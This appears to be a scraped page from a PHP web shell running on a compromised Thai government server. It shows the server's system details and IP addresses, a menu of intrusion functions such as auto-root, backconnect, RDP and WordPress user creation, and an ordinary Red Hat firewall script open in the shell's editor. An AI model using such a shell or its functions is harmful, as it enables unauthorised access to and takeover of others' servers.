Linux ns8.secondary29.go.th 2.6.32-754.28.1.el6.x86_64 #1 SMP Wed Mar 11 18:38:45 UTC 2020 x86_64
Apache/2.2.15 (CentOS)
: 122.154.134.11 | : 122.154.134.9
Cant Read [ /etc/named.conf ]
5.6.40
apache
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
system-config-firewall /
[ HOME SHELL ]
Name
Size
Permission
Action
convert-config
1.71
KB
-rwxr-xr-x
etc_services.py
3.62
KB
-rw-r--r--
etc_services.pyc
4.43
KB
-rw-r--r--
etc_services.pyo
4.43
KB
-rw-r--r--
fw_compat.py
2.46
KB
-rw-r--r--
fw_compat.pyc
1.51
KB
-rw-r--r--
fw_compat.pyo
1.51
KB
-rw-r--r--
fw_config.py
2.71
KB
-rw-r--r--
fw_config.pyc
2.43
KB
-rw-r--r--
fw_config.pyo
2.43
KB
-rw-r--r--
fw_functions.py
3
KB
-rw-r--r--
fw_functions.pyc
2.65
KB
-rw-r--r--
fw_functions.pyo
2.65
KB
-rw-r--r--
fw_icmp.py
2.87
KB
-rw-r--r--
fw_icmp.pyc
2.56
KB
-rw-r--r--
fw_icmp.pyo
2.56
KB
-rw-r--r--
fw_iptables.py
19.07
KB
-rw-r--r--
fw_iptables.pyc
15.54
KB
-rw-r--r--
fw_iptables.pyo
15.54
KB
-rw-r--r--
fw_lokkit.py
8.13
KB
-rw-r--r--
fw_lokkit.pyc
4.57
KB
-rw-r--r--
fw_lokkit.pyo
4.57
KB
-rw-r--r--
fw_nm.py
2.41
KB
-rw-r--r--
fw_nm.pyc
1.94
KB
-rw-r--r--
fw_nm.pyo
1.94
KB
-rw-r--r--
fw_parser.py
18.92
KB
-rw-r--r--
fw_parser.pyc
16.53
KB
-rw-r--r--
fw_parser.pyo
16.53
KB
-rw-r--r--
fw_selinux.py
2.65
KB
-rw-r--r--
fw_selinux.pyc
2.33
KB
-rw-r--r--
fw_selinux.pyo
2.33
KB
-rw-r--r--
fw_services.py
12.03
KB
-rw-r--r--
fw_services.pyc
9.74
KB
-rw-r--r--
fw_services.pyo
9.74
KB
-rw-r--r--
fw_sysconfig.py
6.46
KB
-rw-r--r--
fw_sysconfig.pyc
5.15
KB
-rw-r--r--
fw_sysconfig.pyo
5.15
KB
-rw-r--r--
fw_sysctl.py
5.21
KB
-rw-r--r--
fw_sysctl.pyc
4.14
KB
-rw-r--r--
fw_sysctl.pyo
4.14
KB
-rw-r--r--
fw_tui.py
40.31
KB
-rw-r--r--
fw_tui.pyc
25.93
KB
-rw-r--r--
fw_tui.pyo
25.93
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : fw_compat.py
# # Copyright (C) 2007, 2008 Red Hat, Inc. # Authors: # Thomas Woerner <twoerner@redhat.com> # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. # from fw_functions import getPortID, getServiceName import fw_services def convertToServices(config): if len(config.services) > 0: return print _("Converting %s") % config.filename services = config.services ports = [ ] matched = [ ] for svc in fw_services.service_list: _matched = [ ] if config.ports: all_matched = True for (port, proto) in svc.ports: id = getPortID(port) name = getServiceName(port, proto) if ((id,), proto) in config.ports: _matched.append(((id,), proto)) elif ((port,), proto) in config.ports: _matched.append(((port,), proto)) elif ((name,), proto) in config.ports: _matched.append(((name,), proto)) else: all_matched = False else: all_matched = False if all_matched: services.append(svc.key) matched.extend(_matched) del _matched if config.ports: for entry in config.ports: if entry in matched: continue ports.append(entry) del matched if not hasattr(config, "no_ipsec") or not config.no_ipsec: if not "ipsec" in services: services.append("ipsec") else: delattr(config, "no_ipsec") if not hasattr(config, "no_mdns") or not config.no_mdns: if not "mdns" in services: services.append("mdns") else: delattr(config, "no_mdns") if not hasattr(config, "no_ipp") or not config.no_ipp: if not "ipp" in services: services.append("ipp") else: delattr(config, "no_ipp") config.ports = ports
Close